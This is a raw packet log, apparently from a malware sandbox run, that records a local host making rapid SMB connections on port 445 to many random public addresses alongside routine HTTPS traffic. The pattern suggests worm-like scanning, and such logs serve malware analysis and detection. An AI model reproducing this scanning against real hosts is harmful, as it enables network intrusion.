Jul 21, 2022 04:34:20.036612988 CEST	50149	445	192.168.2.6	145.121.234.146
Jul 21, 2022 04:34:20.341917992 CEST	50154	445	192.168.2.6	91.123.41.17
Jul 21, 2022 04:34:20.348896027 CEST	50156	445	192.168.2.6	185.182.86.60
Jul 21, 2022 04:34:20.443969011 CEST	50158	445	192.168.2.6	115.253.235.123
Jul 21, 2022 04:34:20.444489956 CEST	50159	445	192.168.2.6	23.75.225.159
Jul 21, 2022 04:34:20.445226908 CEST	50160	445	192.168.2.6	81.159.17.143
Jul 21, 2022 04:34:20.454308987 CEST	50161	445	192.168.2.6	140.216.84.166
Jul 21, 2022 04:34:20.456059933 CEST	50162	445	192.168.2.6	151.78.13.99
Jul 21, 2022 04:34:20.456140041 CEST	50163	445	192.168.2.6	203.211.87.85
Jul 21, 2022 04:34:20.456238985 CEST	50164	445	192.168.2.6	40.6.96.55
Jul 21, 2022 04:34:20.456337929 CEST	50165	445	192.168.2.6	137.193.74.21
Jul 21, 2022 04:34:20.456437111 CEST	50166	445	192.168.2.6	149.137.250.225
Jul 21, 2022 04:34:20.456522942 CEST	50167	445	192.168.2.6	103.174.71.197
Jul 21, 2022 04:34:20.946449995 CEST	50173	445	192.168.2.6	77.23.32.13
Jul 21, 2022 04:34:20.991249084 CEST	49755	443	192.168.2.6	20.190.160.3
Jul 21, 2022 04:34:21.054191113 CEST	50174	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.054239035 CEST	443	50174	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.054378986 CEST	50174	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.054666042 CEST	50174	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.054683924 CEST	443	50174	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.146399021 CEST	50176	445	192.168.2.6	205.6.98.103
Jul 21, 2022 04:34:21.193569899 CEST	443	50174	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.193686962 CEST	50174	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.194431067 CEST	443	50174	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.194531918 CEST	50174	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.220721960 CEST	50174	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.220761061 CEST	443	50174	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.220999002 CEST	443	50174	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.223763943 CEST	50174	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.225820065 CEST	50174	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.225853920 CEST	443	50174	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.415394068 CEST	443	50174	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.415426016 CEST	443	50174	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.415465117 CEST	443	50174	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.415496111 CEST	443	50174	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.415499926 CEST	50174	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.415543079 CEST	50174	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.415908098 CEST	50174	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.415927887 CEST	443	50174	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.415940046 CEST	50174	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.415949106 CEST	443	50174	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.458796978 CEST	50182	445	192.168.2.6	86.139.205.187
Jul 21, 2022 04:34:21.459340096 CEST	50183	445	192.168.2.6	94.106.198.3
Jul 21, 2022 04:34:21.469748020 CEST	50184	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.469794989 CEST	443	50184	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.469917059 CEST	50184	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.470074892 CEST	50184	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.470088005 CEST	443	50184	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.491384983 CEST	50186	443	192.168.2.6	20.190.159.4
Jul 21, 2022 04:34:21.491415024 CEST	443	50186	20.190.159.4	192.168.2.6
Jul 21, 2022 04:34:21.493613958 CEST	50186	443	192.168.2.6	20.190.159.4
Jul 21, 2022 04:34:21.493808031 CEST	50186	443	192.168.2.6	20.190.159.4
Jul 21, 2022 04:34:21.493818998 CEST	443	50186	20.190.159.4	192.168.2.6
Jul 21, 2022 04:34:21.569392920 CEST	50188	445	192.168.2.6	113.195.42.85
Jul 21, 2022 04:34:21.569487095 CEST	50189	445	192.168.2.6	77.77.128.87
Jul 21, 2022 04:34:21.569612026 CEST	50190	445	192.168.2.6	109.21.238.158
Jul 21, 2022 04:34:21.569641113 CEST	50191	445	192.168.2.6	162.68.190.81
Jul 21, 2022 04:34:21.569709063 CEST	50192	445	192.168.2.6	23.57.53.9
Jul 21, 2022 04:34:21.569766998 CEST	50193	445	192.168.2.6	133.226.65.33
Jul 21, 2022 04:34:21.569806099 CEST	50194	445	192.168.2.6	219.145.129.225
Jul 21, 2022 04:34:21.583678961 CEST	50195	445	192.168.2.6	143.110.198.164
Jul 21, 2022 04:34:21.584415913 CEST	50196	445	192.168.2.6	6.205.40.250
Jul 21, 2022 04:34:21.584498882 CEST	50197	445	192.168.2.6	74.115.222.45
Jul 21, 2022 04:34:21.608206987 CEST	443	50184	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.608798981 CEST	50184	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.608815908 CEST	443	50184	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.609642029 CEST	50184	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.609648943 CEST	443	50184	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.609683990 CEST	50184	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.609699011 CEST	443	50184	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.629476070 CEST	443	50186	20.190.159.4	192.168.2.6
Jul 21, 2022 04:34:21.629612923 CEST	50186	443	192.168.2.6	20.190.159.4
Jul 21, 2022 04:34:21.631297112 CEST	443	50186	20.190.159.4	192.168.2.6
Jul 21, 2022 04:34:21.631413937 CEST	50186	443	192.168.2.6	20.190.159.4
Jul 21, 2022 04:34:21.640902042 CEST	50186	443	192.168.2.6	20.190.159.4
Jul 21, 2022 04:34:21.640919924 CEST	443	50186	20.190.159.4	192.168.2.6
Jul 21, 2022 04:34:21.641282082 CEST	443	50186	20.190.159.4	192.168.2.6
Jul 21, 2022 04:34:21.641870022 CEST	50186	443	192.168.2.6	20.190.159.4
Jul 21, 2022 04:34:21.641961098 CEST	50186	443	192.168.2.6	20.190.159.4
Jul 21, 2022 04:34:21.641990900 CEST	443	50186	20.190.159.4	192.168.2.6
Jul 21, 2022 04:34:21.802740097 CEST	443	50184	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.802767038 CEST	443	50184	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.802808046 CEST	443	50184	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.802834988 CEST	443	50184	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.802881002 CEST	50184	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.802922010 CEST	50184	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.803189039 CEST	50184	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.803209066 CEST	443	50184	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.803215981 CEST	50184	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.803221941 CEST	443	50184	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.829642057 CEST	443	50186	20.190.159.4	192.168.2.6
Jul 21, 2022 04:34:21.829672098 CEST	443	50186	20.190.159.4	192.168.2.6
Jul 21, 2022 04:34:21.829711914 CEST	443	50186	20.190.159.4	192.168.2.6
Jul 21, 2022 04:34:21.829736948 CEST	50186	443	192.168.2.6	20.190.159.4
Jul 21, 2022 04:34:21.829741955 CEST	443	50186	20.190.159.4	192.168.2.6
Jul 21, 2022 04:34:21.829772949 CEST	50186	443	192.168.2.6	20.190.159.4
Jul 21, 2022 04:34:21.829793930 CEST	50186	443	192.168.2.6	20.190.159.4
Jul 21, 2022 04:34:21.829948902 CEST	50186	443	192.168.2.6	20.190.159.4
Jul 21, 2022 04:34:21.829966068 CEST	443	50186	20.190.159.4	192.168.2.6
Jul 21, 2022 04:34:21.829974890 CEST	50186	443	192.168.2.6	20.190.159.4
Jul 21, 2022 04:34:21.829981089 CEST	443	50186	20.190.159.4	192.168.2.6
Jul 21, 2022 04:34:21.854839087 CEST	50200	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.854887009 CEST	443	50200	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.854973078 CEST	50200	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.855338097 CEST	50201	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.855370045 CEST	443	50201	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.855540991 CEST	50200	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.855561018 CEST	443	50200	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.855573893 CEST	50201	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.856211901 CEST	50201	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.856228113 CEST	443	50201	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.856548071 CEST	50202	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.856570005 CEST	443	50202	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.859069109 CEST	50202	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.859392881 CEST	50202	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.859402895 CEST	443	50202	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.874300957 CEST	50203	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:21.874347925 CEST	443	50203	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:21.874455929 CEST	50203	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:21.888135910 CEST	50204	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:21.888184071 CEST	443	50204	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:21.888673067 CEST	50204	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:21.891675949 CEST	50203	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:21.891712904 CEST	443	50203	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:21.891766071 CEST	50204	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:21.891788006 CEST	443	50204	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:21.991642952 CEST	443	50203	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:21.991749048 CEST	50203	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:21.991758108 CEST	443	50204	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:21.991831064 CEST	50204	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:21.993122101 CEST	443	50202	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.993714094 CEST	50202	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:21.993724108 CEST	443	50202	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.997383118 CEST	443	50200	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:21.998214006 CEST	443	50201	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.002851009 CEST	50202	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.002861023 CEST	443	50202	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.002912045 CEST	50202	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.002918959 CEST	443	50202	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.003616095 CEST	50200	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.003643036 CEST	443	50200	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.004458904 CEST	50200	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.004470110 CEST	443	50200	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.004512072 CEST	50200	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.004523993 CEST	443	50200	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.007173061 CEST	50201	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.007215977 CEST	443	50201	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.008003950 CEST	50201	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.008016109 CEST	443	50201	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.008178949 CEST	50201	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.008193970 CEST	443	50201	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.016835928 CEST	50203	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:22.016864061 CEST	443	50203	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:22.017193079 CEST	443	50203	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:22.019020081 CEST	50204	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:22.019047976 CEST	443	50204	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:22.019048929 CEST	50203	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:22.019378901 CEST	443	50204	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:22.023055077 CEST	50204	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:22.034729958 CEST	50204	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:22.034774065 CEST	50203	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:22.067995071 CEST	50205	445	192.168.2.6	17.222.32.211
Jul 21, 2022 04:34:22.076500893 CEST	443	50204	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:22.076504946 CEST	443	50203	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:22.147094965 CEST	443	50204	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:22.147128105 CEST	443	50204	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:22.147205114 CEST	443	50204	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:22.147211075 CEST	50204	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:22.147247076 CEST	50204	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:22.153358936 CEST	50204	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:22.153381109 CEST	443	50204	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:22.171113968 CEST	443	50203	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:22.171149969 CEST	443	50203	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:22.171217918 CEST	50203	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:22.171226978 CEST	443	50203	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:22.171231031 CEST	50203	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:22.171281099 CEST	50203	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:22.173315048 CEST	50203	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:22.173333883 CEST	443	50203	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:22.185529947 CEST	443	50202	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.185566902 CEST	443	50202	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.185599089 CEST	443	50202	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.185631990 CEST	443	50202	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.185648918 CEST	50202	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.185702085 CEST	50202	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.186023951 CEST	50202	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.186037064 CEST	443	50202	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.186045885 CEST	50202	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.186055899 CEST	443	50202	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.192428112 CEST	443	50200	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.192456007 CEST	443	50200	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.192490101 CEST	443	50200	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.192532063 CEST	50200	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.192539930 CEST	443	50200	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.192580938 CEST	50200	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.192603111 CEST	50200	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.195275068 CEST	443	50201	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.195327997 CEST	443	50201	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.195365906 CEST	443	50201	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.195411921 CEST	50201	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.195430040 CEST	443	50201	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.195436001 CEST	50201	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.195477009 CEST	50201	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.208431959 CEST	50200	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.208457947 CEST	443	50200	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.208471060 CEST	50200	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.208491087 CEST	443	50200	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.217088938 CEST	50201	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.217120886 CEST	443	50201	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.217137098 CEST	50201	443	192.168.2.6	40.126.31.67
Jul 21, 2022 04:34:22.217149019 CEST	443	50201	40.126.31.67	192.168.2.6
Jul 21, 2022 04:34:22.284080029 CEST	50206	445	192.168.2.6	118.34.179.223
Jul 21, 2022 04:34:22.495938063 CEST	50207	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:22.495975971 CEST	443	50207	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:22.496063948 CEST	50207	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:22.498337984 CEST	50207	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:22.498358965 CEST	443	50207	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:22.544135094 CEST	50208	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.544181108 CEST	443	50208	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.544250011 CEST	50208	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.544375896 CEST	50209	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.544416904 CEST	443	50209	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.544470072 CEST	50209	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.546690941 CEST	50208	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.546713114 CEST	443	50208	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.546870947 CEST	50209	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.546886921 CEST	443	50209	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.584518909 CEST	50210	445	192.168.2.6	163.148.192.158
Jul 21, 2022 04:34:22.585223913 CEST	50211	445	192.168.2.6	166.90.187.252
Jul 21, 2022 04:34:22.593879938 CEST	443	50207	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:22.594038963 CEST	50207	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:22.600794077 CEST	50207	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:22.600819111 CEST	443	50207	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:22.601188898 CEST	443	50207	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:22.616322041 CEST	50207	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:22.616374969 CEST	50207	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:22.616386890 CEST	443	50207	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:22.617028952 CEST	50207	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:22.617736101 CEST	443	50208	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.617840052 CEST	50208	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.619240046 CEST	443	50208	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.619304895 CEST	50208	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.623495102 CEST	443	50209	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.623620033 CEST	50209	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.624913931 CEST	443	50209	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.624994040 CEST	50209	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.648166895 CEST	443	50207	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:22.648263931 CEST	443	50207	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:22.648359060 CEST	50207	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:22.648457050 CEST	50207	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:22.648494959 CEST	443	50207	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:22.683341980 CEST	50208	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.683365107 CEST	443	50208	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.683747053 CEST	443	50208	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.683904886 CEST	50208	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.683907032 CEST	50209	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.683929920 CEST	443	50209	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.684317112 CEST	443	50209	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.684382915 CEST	50209	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.687525988 CEST	50209	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.687582970 CEST	443	50209	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.687868118 CEST	50208	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.687927961 CEST	443	50208	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.693109035 CEST	50212	445	192.168.2.6	79.61.203.205
Jul 21, 2022 04:34:22.693793058 CEST	50213	445	192.168.2.6	158.84.16.160
Jul 21, 2022 04:34:22.694514036 CEST	50214	445	192.168.2.6	47.70.13.163
Jul 21, 2022 04:34:22.695468903 CEST	50215	445	192.168.2.6	51.191.83.177
Jul 21, 2022 04:34:22.696852922 CEST	50216	445	192.168.2.6	136.81.171.30
Jul 21, 2022 04:34:22.697108030 CEST	50217	445	192.168.2.6	115.221.16.252
Jul 21, 2022 04:34:22.697272062 CEST	50218	445	192.168.2.6	7.205.163.25
Jul 21, 2022 04:34:22.708548069 CEST	50219	445	192.168.2.6	53.62.55.137
Jul 21, 2022 04:34:22.709049940 CEST	50220	445	192.168.2.6	42.54.79.143
Jul 21, 2022 04:34:22.709537983 CEST	50221	445	192.168.2.6	200.37.253.145
Jul 21, 2022 04:34:22.759227991 CEST	443	50209	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.759259939 CEST	443	50209	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.759300947 CEST	50209	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.759324074 CEST	443	50209	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.759336948 CEST	50209	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.759342909 CEST	443	50209	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.759368896 CEST	50209	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.759396076 CEST	50209	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.764300108 CEST	50209	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.764327049 CEST	443	50209	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.771919012 CEST	443	50208	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.772037983 CEST	443	50208	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.772037983 CEST	50208	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.772089958 CEST	50208	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.783354044 CEST	50208	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:34:22.783384085 CEST	443	50208	204.79.197.200	192.168.2.6
Jul 21, 2022 04:34:22.969366074 CEST	50222	445	192.168.2.6	106.31.22.165
Jul 21, 2022 04:34:23.197993040 CEST	50223	445	192.168.2.6	41.104.145.143
Jul 21, 2022 04:34:23.380717993 CEST	50224	445	192.168.2.6	87.220.53.247
Jul 21, 2022 04:34:23.710922003 CEST	50225	445	192.168.2.6	40.29.44.175
Jul 21, 2022 04:34:23.711421013 CEST	50226	445	192.168.2.6	134.240.28.169
Jul 21, 2022 04:34:23.818475962 CEST	50227	445	192.168.2.6	199.226.156.74
Jul 21, 2022 04:34:23.819163084 CEST	50228	445	192.168.2.6	63.10.201.213
Jul 21, 2022 04:34:23.819645882 CEST	50229	445	192.168.2.6	15.60.40.154
Jul 21, 2022 04:34:23.820158958 CEST	50230	445	192.168.2.6	11.75.6.102
Jul 21, 2022 04:34:23.820657969 CEST	50231	445	192.168.2.6	3.231.124.172
Jul 21, 2022 04:34:23.821135044 CEST	50232	445	192.168.2.6	158.118.232.49
Jul 21, 2022 04:34:23.821623087 CEST	50233	445	192.168.2.6	56.119.158.69
Jul 21, 2022 04:34:23.822092056 CEST	50234	445	192.168.2.6	19.244.46.3
Jul 21, 2022 04:34:23.822576046 CEST	50235	445	192.168.2.6	106.27.149.148
Jul 21, 2022 04:34:23.823070049 CEST	50236	445	192.168.2.6	137.55.169.103
Jul 21, 2022 04:34:24.084192991 CEST	50237	445	192.168.2.6	78.181.244.28
Jul 21, 2022 04:34:24.318109989 CEST	50238	445	192.168.2.6	56.170.48.65
Jul 21, 2022 04:34:24.514172077 CEST	50239	445	192.168.2.6	108.251.95.149
Jul 21, 2022 04:34:24.836364031 CEST	50240	445	192.168.2.6	136.196.177.173
Jul 21, 2022 04:34:24.837038040 CEST	50241	445	192.168.2.6	150.165.83.150
Jul 21, 2022 04:34:24.943526030 CEST	50242	445	192.168.2.6	51.166.34.137
Jul 21, 2022 04:34:24.944189072 CEST	50243	445	192.168.2.6	220.130.190.82
Jul 21, 2022 04:34:24.946115017 CEST	50244	445	192.168.2.6	71.25.226.6
Jul 21, 2022 04:34:24.947777987 CEST	50245	445	192.168.2.6	138.144.237.182
Jul 21, 2022 04:34:24.947813034 CEST	50246	445	192.168.2.6	142.213.193.62
Jul 21, 2022 04:34:24.947879076 CEST	50247	445	192.168.2.6	57.125.82.38
Jul 21, 2022 04:34:24.947932959 CEST	50248	445	192.168.2.6	28.248.219.226
Jul 21, 2022 04:34:24.948009014 CEST	50250	445	192.168.2.6	120.58.42.69
Jul 21, 2022 04:34:24.948059082 CEST	50249	445	192.168.2.6	53.55.15.229
Jul 21, 2022 04:34:24.948129892 CEST	50251	445	192.168.2.6	209.226.156.234
Jul 21, 2022 04:34:24.977152109 CEST	50252	445	192.168.2.6	13.50.71.252
Jul 21, 2022 04:34:25.167057037 CEST	80	49719	209.197.3.8	192.168.2.6
Jul 21, 2022 04:34:25.167196035 CEST	49719	80	192.168.2.6	209.197.3.8
Jul 21, 2022 04:34:25.209284067 CEST	50253	445	192.168.2.6	108.75.0.185
Jul 21, 2022 04:34:25.444350958 CEST	50254	445	192.168.2.6	154.68.62.20
Jul 21, 2022 04:34:25.630748987 CEST	50255	445	192.168.2.6	215.25.146.219
Jul 21, 2022 04:34:25.944331884 CEST	50257	445	192.168.2.6	94.156.205.199
Jul 21, 2022 04:34:25.944382906 CEST	50256	445	192.168.2.6	97.211.57.69
Jul 21, 2022 04:34:26.066121101 CEST	50258	445	192.168.2.6	44.50.24.100
Jul 21, 2022 04:34:26.066134930 CEST	50259	445	192.168.2.6	101.174.190.240
Jul 21, 2022 04:34:26.066428900 CEST	50260	445	192.168.2.6	137.237.125.60
Jul 21, 2022 04:34:26.066510916 CEST	50261	445	192.168.2.6	139.50.187.166
Jul 21, 2022 04:34:26.066560030 CEST	50262	445	192.168.2.6	170.138.236.140
Jul 21, 2022 04:34:26.066601992 CEST	50263	445	192.168.2.6	64.117.26.85
